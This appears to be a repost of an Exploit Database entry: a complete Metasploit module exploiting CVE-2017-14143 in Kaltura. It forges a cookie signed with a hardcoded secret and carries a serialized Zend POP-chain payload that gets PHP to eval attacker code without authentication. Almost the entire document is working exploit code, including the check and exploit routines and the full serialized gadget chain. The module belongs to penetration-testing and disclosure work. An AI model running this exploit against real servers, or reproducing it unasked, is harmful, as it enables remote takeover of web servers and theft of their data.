Kaltura – Remote PHP Code Execution over Cookie (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2018-01-24
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43876/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  CookieSecret = 'y3tAno3therS$cr3T'
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
  'Description'=> %q{
  This module exploits an Object Injection vulnerability in Kaltura.
  By exploiting this vulnerability, unauthenticated users can execute
  arbitrary code under the context of the web server user.
  
  Kaltura makes use of a hardcoded cookie secret which allows to sign
  arbitrary cookie data. After passing this signature check, the base64-
  decoded data is passed to PHPs unserialize() function which allows for
  code execution. The constructed object is again based on the SektionEins
  Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
  affected by this issue.
  
  A valid entry_id (which is required for this exploit) can be obtained
  from any media resource published on the kaltura installation.
  
  This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Robin Verton <hello@robinverton.de>',
  'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module
  ],
  'References'=>
  [
  ['CVE', '2017-14143']
  ],
  'Privileged'=> false,
  'Platform'=> ['php'],
  'Arch'=> ARCH_PHP,
  'Targets' => [ ['Automatic', {}] ],
  'DisclosureDate'=> 'Sep 12 2017',
  'DefaultTarget' => 0
  ))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
  OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
  ]
  )
  end
  
  def check
  r = rand_text_alpha(15 + rand(4))
  entry_id = datastore['ENTRYID']
  cmd = "print_r(#{r}).die()"
  
  p = ""
  p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
  p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
  p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
  p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
  p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
  p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
  p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
  
  encoded = Rex::Text.encode_base64(p)
  hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
  
  res = send_request_cgi(
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
  'vars_get' => {
  'list_type' => '15',
  'entry_id' => entry_id
  },
  'cookie' => "userzone=#{encoded}#{hash}"
  )
  
  if res && res.redirect?
  print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
  Exploit::CheckCode::Safe
  elsif res && res.body.include?(r)
  Exploit::CheckCode::Vulnerable
  elsif !check_entryid
  print_error("Invalid ENTRYID")
  Exploit::CheckCode::Safe
  else
  Exploit::CheckCode::Safe
  end
  end
  
  def check_entryid
  entry_id = datastore['ENTRYID']
  res = send_request_cgi(
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
  'vars_get' => {
  'list_type' => '15',
  'entry_id' => entry_id
  }
  )
  
  return res.body.include? entry_id
  end
  
  def exploit
  entry_id = datastore['ENTRYID']
  cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
  
  p = ""
  p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
  p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
  p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
  p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
  p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
  p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
  p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
  
  encoded = Rex::Text.encode_base64(p)
  hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
  
  res = send_request_cgi(
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
  'vars_get' => {
  'list_type' => '15',
  'entry_id' => entry_id
  },
  'cookie' => "userzone=#{encoded}#{hash}"
  )
  
  if res && res.redirect?
  print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
  elsif res && res.code != 200
  print_error('Unexpected response...')
  else
  print_status("Output: #{res.body}")
  end
  end
  end